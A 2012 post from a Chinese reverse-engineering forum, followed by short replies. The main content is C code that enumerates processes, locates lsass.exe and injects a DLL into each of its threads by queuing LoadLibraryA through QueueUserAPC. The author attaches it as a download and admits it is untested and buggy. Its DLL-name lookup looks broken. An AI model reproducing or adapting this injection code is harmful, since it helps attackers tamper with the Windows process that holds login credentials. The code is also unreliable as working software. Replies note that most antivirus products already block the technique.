首页
论坛
课程
招聘
[原创]今天突然想注入,写了点代码
2012-4-3 15:13 6465

[原创]今天突然想注入,写了点代码

2012-4-3 15:13
6465
DWORD GetNtDllString(HANDLE dllbase)
{
        char* lpbuf = (char*)dllbase;
        while(stricmp(++lpbuf, ".dll") && lpbuf - (char*)dllbase < 65535);

        printf("%s", lpbuf - 5);

        return lpbuf - (char*)dllbase;
}


int main(int argc, char* argv[])
{
        HINSTANCE ntdll_dll = GetModuleHandle("ntdll.dll");
        NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
        PSYSTEM_PROCESSES pSp=NULL;
        ULONG retureSize = 0;
        DWORD status;
        unsigned char *buf;
        char * dll_name = (char*)ntdll_dll + GetNtDllString(ntdll_dll) - 3;

        printf("CurrentThreadId %d\ninject dll name:%s\n", 
                GetCurrentThreadId(), dll_name);

        ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, NULL, 0, &retureSize);
        if (status != STATUS_INFO_LENGTH_MISMATCH)
                return -1;
        
        buf = malloc(retureSize);
        if (buf ==NULL)
                return -1; 
        
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, (PVOID)buf, retureSize, NULL);
        if (status != STATUS_SUCCESS) 
                return -1;

        pSp = (PSYSTEM_PROCESSES)buf;
        
        do {
                pSp = (PSYSTEM_PROCESSES)( (unsigned long)pSp + pSp->NextEntryDelta );
                
                if (pSp->ProcessName.Buffer
                        && _wcsicmp(pSp->ProcessName.Buffer, L"lsass.exe") == 0){
                        ULONG i;
                        
                        for (i =0; i<pSp->ThreadCount; i++) {
                                HANDLE pthread;
                                pthread = OpenThread(THREAD_SET_CONTEXT, FALSE, (DWORD)pSp->Threads[i].ClientId.UniqueThread);
                                printf("进程 %d 线程:%d\r\n", 
                                        pSp->Threads[i].ClientId.UniqueProcess,
                                        pSp->Threads[i].ClientId.UniqueThread);
                                
                                if (!QueueUserAPC((PAPCFUNC)LoadLibraryA, pthread, (ULONG_PTR)dll_name))
                                        printf("QueueUserAPC error\n");

                                CloseHandle(pthread);
                        }
                        break;
                }
        } while ( pSp->NextEntryDelta != 0 );
        
        free(buf);

        while (!kbhit())
                SleepEx(100, TRUE);

        return 0;
}

inject.zip

还差4分就有公仔了
本代码仅供演示,具体大家懂的,其实是我自己没测试好就发出来了,不过基本不影响意思表达,也避免了部分同学直接拿来主义
具体bug请童鞋们自行修改吧,hoho

[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 306
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天法道 活跃值 2012-4-3 17:09
2
0
快了。
支持一下楼主
雪    币: 306
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天法道 活跃值 2012-4-3 17:10
3
0
楼主我能给你Kx不?
雪    币: 1034
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 活跃值 12 2012-4-3 19:45
4
0
怎么给?给我一点吧,哈哈!多多益善
雪    币: 472
活跃值: 活跃值 (29)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
thisIs 活跃值 9 2012-4-3 20:08
5
0
活动结束了吧..
雪    币: 306
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tfzxyinhao 活跃值 2012-4-3 21:48
6
0
好像2007年就有这个了 http://bbs.pediy.com/showthread.php?t=56071
雪    币: 71
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mumaren 活跃值 2012-4-3 22:05
7
0
好,下了
3q
雪    币: 1034
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 活跃值 12 2012-4-3 22:05
8
0
不觉得我这代码更风骚吗?
雪    币: 172
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
windowsa 活跃值 2012-4-3 22:15
9
0
楼主坚持啊!!有了公仔就可以送你GF了
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孤单的狼 活跃值 2012-4-4 01:17
10
0
其实是送BF的……
雪    币: 551
活跃值: 活跃值 (360)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
莫灰灰 活跃值 9 2012-4-4 18:13
11
0
用户层插APC啊,这个方法应该绝大多数杀软都防御了吧。。。
雪    币: 893
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
jasonnbfan 活跃值 8 2012-4-6 13:40
12
0
APC inject mark 感谢分享
游客
登录 | 注册 方可回帖
返回